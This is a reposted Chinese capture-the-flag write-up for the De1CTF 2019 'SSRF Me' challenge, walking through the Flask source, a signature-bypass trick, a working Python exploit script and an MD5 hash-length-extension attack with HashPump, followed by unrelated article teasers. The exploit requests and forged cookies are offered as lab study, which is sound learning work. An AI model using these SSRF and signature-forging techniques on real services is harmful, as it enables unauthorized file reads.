[De1CTF 2019]SSRF Me | BUUCTF

news2024/11/26 17:34:38

根据题目名我们知道这是一道SSRF的题目

它允许攻击者在受害服务器上发起未经授权的网络请求

分析

在buuctf上有一个提示
在这里插入图片描述
也就是说flag在 网站的flag.txt

访问主页
在这里插入图片描述
很明显是段flask代码

格式化后

from flask import Flask, request  # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)  # 创建一个Flask应用实例
secret_key = os.urandom(16)  # 生成一个16字节的随机密钥

# 定义一个名为Task的类,用于处理任务
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action  # 任务动作
        self.param = param    # 参数
        self.sign = sign      # 签名
        self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名

        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它

    def Exec(self):
        result = {}
        result['code'] = 500  # 默认响应码为500

        if self.checkSign():  # 检查签名是否有效
            if "scan" in self.action:  # 如果任务动作是"scan"
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)  # 执行扫描操作
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200  # 执行成功,响应码为200

            if "read" in self.action:  # 如果任务动作是"read"
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()  # 读取结果

        if result['code'] == 500:
            result['data'] = "Action Error"  # 如果动作无效,设置响应数据
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息

        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配
            return True
        else:
            return False

# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr

    if waf(param):  # 检查是否触发Web应用防火墙(WAF)
        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)  # 创建任务对象
    return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示

# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():
    return open("code.txt", "r").read()

# 定义一个用于扫描URL的函数
def scan(param):
    socket.setdefaulttimeout(1)     # 设置超时时间
    try:
        return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
    except:
        return "Connection Timeout"

# 生成签名的函数
def getSign(action, param): 
    return hashlib.md5(secret_key + param + action).hexdigest()

# 计算MD5哈希的函数
def md5(content):
    return hashlib.md5(content).hexdigest()

# Web应用防火墙(WAF)检查函数
def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头
        return True  # 如果参数触发WAF规则,返回True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上

分析代码

  • 路由
    • /geneSign :对param参数进行签名
    • /De1ta : 从客户端获取 action,param,sign参数,获取用户ip,使用waf函数对param进行检测,使用Task对象处理
    • / : 读取code.txt并显示
  • 全局函数
    • scan : 对指定url进行请求
    • getSign: 使用md5进行签名
    • md5 :对参数进行md5加密
    • waf :对参数进行检查,拦截字符串开头为 file和gopher的字符串
    • Task :

如果直接访问flag.txt肯定是不行的,,因为没有这个路由

其中有个scan函数

def scan(param):
    socket.setdefaulttimeout(1)     # 设置超时时间
    try:
        return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
    except:
        return "Connection Timeout"

构造

可以直接传递文件名进行读取(flag.txt)

首先需要获取sign

根据代码构造我们需要的sign

if "scan" in self.action:  # 如果任务动作是"scan"
if "read" in self.action:  # 如果任务动作是"read"

在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
此时我们可以构造 readscan 或者 scanread
这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了

代码中的print resp只会打印在本地控制台,并不会显示在网页中

而param我们构造 flag.txt即可

获取sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) 
?param="flag.txtread"

为什么要构造flag.txtread
因为action默认指定为 scan
原本我们需要的sign

action=readscan
param=flag.txt
sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan

因为在 getSign 函数, action和param是反过来拼接的

也就是说我们只需要构造flag.txtreadscan的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread也能获取一样的sign

?param=flag.txtread

在这里插入图片描述

获取flag

def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ....

构造响应的参数

Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
?param=flag.txt

在这里插入图片描述

exp

import requests

url = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
sign = requests.get(url+"geneSign?param=flag.txtread").text		# 获取sign
cookies = {
    "sign": sign,
    'action': 'readscan'
}

flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text  # 获取flag

print(flag)

其他解法

哈希长度拓展攻击

这个就涉及到md5实现的一些原理了
可以参考下
https://zhuanlan.zhihu.com/p/587802432
https://www.cnblogs.com/pcat/p/5478509.html
使用工具 hashdump

下载hashpump

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

举例

原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
这里用php举个例子

$secret_key = '1234567890';	# 盐
echo md5($secret_key. "admin");

输出的hash值为 501530457b49501056d8f994d12252ca

我们这里知道了几个关键要素

  • hash值 : 501530457b49501056d8f994d12252ca
  • 输入的值: admin
  • 盐的长度 : 10

知道这些条件我们就可以构造一个hash值

使用hashpump

在这里插入图片描述

Input Data to Add是我们需要附加的值,附加的值会追加到我们输入的值上

最后hashpump输入了两个值,一个hash,和一个追加数据后的值

验证

$secret_key = '0123456789';
echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");

最后输出 c231ab9c9647fda124aa8f2dd5cef076 , 和hashpump给出的hash值一致

利用

回到题目

在这里插入图片描述

通过hashpump就能构造两个一样的hash值从而通过验证
从前面知道了三个条件

  • hash值
  • 盐的长度
  • 输入的值

在这里插入图片描述

根据源码我们知道盐的长度

secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)       # getSign('scan', 'flag.txtread')  # 9b7be9abc20f7d0ea3883024bb47d0e0

# 生成签名的函数
def getSign(action, param): 
    return hashlib.md5(secret_key + param + action).hexdigest()

secret_key + param = 16 + flag.txt(8) = 24

而我们的输入就是scan, 最后我们需要追加上read

在这里插入图片描述

\x 替换成 %即可

?param=flag.txt
Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

在这里插入图片描述

注意这个sign参数的hash是hashpump生成出来的hash

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/993096.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设备管理系统的优势是什么?设备管理系统对企业运营管理有什么帮助?

传统的设备报修维护方式存在一些问题,例如指派传递速度慢和故障信息不准确等。然而,使用设备管理系统就可以轻松地解决这些问题,并且报修全流程只需短短的30秒。设备管理系统具有许多优势,首先它支持多种渠道的报修,包…

《TCP/IP网络编程》阅读笔记--进程间通信

目录 1--进程间通信 2--pipe()函数 3--代码实例 3-1--pipe1.c 3-2--pipe2.c 3-3--pipe3.c 3-4--保存信息的回声服务器端 1--进程间通信 为了实现进程间通信,使得两个不同的进程间可以交换数据,操作系统必须提供两个进程可以同时访问的内存空间&am…

初出茅庐的小李博客之数制与编码知识

模拟量与数字量: 数字量和模拟量是两种用于表示和处理不同类型数据的概念,常见于电子和计算机系统中。它们在信号处理、传感器技术、通信和控制系统中有不同的应用。 1. 数字量(Digital): 数字量是离散的&#xff0…

06文本搜索工具——grep以及正则表达式

一、grep工具的使用 可以通过返回状态码判断文件有没有这个数据,有状态码为0,没有为1。文件不存在状态码为2 -o: 二、正则表达式 1、基本正则表达式 .为匹配任意字符,..两个两个匹配任意字符,...三个三个匹配任意字符 …

群拼团接龙小程序源码功能和开发

针对微信群开发的拼团接龙小程序,有点快团团的味道。是做私域非常不错的一款小程序。 小程序基于Uniapp开发,目前适配了微信小程序。 接龙: 在小程序中可以创建自定义接龙,不需要复杂的申请流程。 商品发布: 接龙…

模板测试和深度测试在cocoscreator中的应用

模板测试(Stencil Test): 当片段着色器处理完一个片段之后,模板测试(Stencil Test)会开始执行,和深度测试一样,它也可能会丢弃片段。接下来,被保留的片段会进入深度测试,它可能会丢弃更多的片段。模板测试…

React 开发一个移动端项目(1)

技术栈: 项目搭建:React 官方脚手架 create-react-appreact hooks状态管理:redux 、 redux-thunkUI 组件库:antd-mobileajax请求库:axios路由:react-router-dom 以及 historyCSS 预编译器:sass…

Web开发后端总结

Web后端开发现在基本上都是基于标准的三层架构进行开发的,在三层架构当中,Controller控制器层 - 负责接收请求响应数据,Service - 业务层负责具体的业务逻辑处理,而Dao - 数据访问层也叫持久层,就是用来处理数据访问操…

第9节-PhotoShop基础课程-移动抓手缩放工具

文章目录 前言1. 移动工具1.移动工具1.自动选择(图层和组)2.显示变换控件 (Shift 变换/ Ctrl 变换)3.自由变换 Ctrl T (Shift 变换/ Ctrl 变换)4.对齐功能 2.画板工具 V1. 创建画板并作图2.导出画板 2.路…

【strcpy函数和strncpy函数的对比与模拟实现】

strcpy函数和strncpy函数的对比与模拟实现 1.strcpy函数介绍 资源来源于cplusplus网站 大致意思就是: 它的作用为: 将一个字符串复制到另一块空间地址中 的函数,‘\0’是停止拷贝的终止条件,同时也会将 ‘\0’ 也复制到目标空间…

redis集群最少使用三个主节点和使用16384个槽以及主节点数量不超过1000的原因

目录 集群最少三个主节点的原因 为什么是三个? 为什么是奇数? 16384个槽和1000个主节点 集群最少三个主节点的原因 https://redis.io/docs/management/scaling/ 官网建议,搭建 redis 集群最少三主三从。 但是这么做是出于什么考虑呢? https://workt…

02深度学习目标检测方法介绍-传统

一、目标学习的检测方法变迁及对比 “目标检测“是当前计算机视觉和机器学习领域的研究热点。从Viola-Jones Detector、DPM等冷兵器时代的智慧到当今RCNN、YOLO等深度学习土壤孕育下的GPU暴力美学,整个目标检测的发展可谓是计算机视觉领域的一部浓缩史。整个目标检测…

Python实操 PDF自动识别并提取Excel文件

最近几天,paddleOCR开发了新的功能,通过将图片中的表格提取出来,效果还不错,今天,作者按照步骤测试了一波。 首先,讲下这个工具是干什么用的:它的功能主要是针对一张完整的PDF图片,可…

EasyAVFilter代码示例之将摄像机RTSP流转成RTMP推流输出

以下是一套完整的RTSP流转RTMP推流功能的开发源码,就简简单单几行代码,就可以完成原来ffmpeg很复杂的调用流程,而且还可以集成在自己的应用程序中调用,不需要再单独一个ffmpeg的进程来调用,方法很简单: #i…

spring中的@Configuration配置类和@Component

在Spring的开发工作中,基本都会使用配置注解,尤其以Component及Configuration为主,当然在Spring中还可以使用其他的注解来标注一个类为配置类,这是广义上的配置类概念,但是这里我们只讨论Component和Configuration&…

盲盒小程序开发方案

盲盒游戏作为一种富有趣味性和收藏价的虚拟盲盒产品,近年来在游戏市场中备受关注。本文将深入探讨盲盒游戏的开发方案,从市场趋势分析、用户体验设计、商业模式选择等多个维度,为开发者提供业且有深度的思考,以帮助他们在盲盒游戏…

容器编排学习(八)卷的概述与存储卷管理

一 卷 1 容器化带来的问题 容器中的文件在磁盘上是临时存放的,这给容器中运行的重要的应用程序带来一些问题 问题1:当容器崩溃或重启的时候,kubelet 会以干净的状态(镜像的状态)重启容器,容器内的历史数据会丢失 问题2&…

upload-labs1-17思路

1 直接写一个php文件测试一下,发现弹窗不让上传 原理很简单,就是把后缀名拿出来过滤一遍,而白名单就是弹窗的这三个 解决方法: 因为这是在前端防御的一个手段,所以直接在浏览器设置上禁用js就行了: 也可…

数据结构与算法_栈

一、什么是栈 栈是一种特殊的线性表,它只允许在固定的一端进行插入和删除的操作。 对数据进行插入和删除的一端叫做栈顶,另一端是栈底。 对栈的两项操作分别叫做入栈、出栈。 入栈就是对栈进行插入操作,除此之外,入栈也叫做进…

2023挖漏洞给报酬的网站汇总,兼职副业3天收益2000

一、众测平台(国内)二、前沿漏洞研究奖励计划三、行业SRC四、企业应急响应中心-SRC-汇总 1、互联网企业2、生活服务、住宿、购物相关企业3、物流、出行、旅游4、金融相关企业5、视频游戏直播社交娱乐6、教育、问答、知识付费7、泛科技通讯物联网云服务8、安全企业9、其他 一、…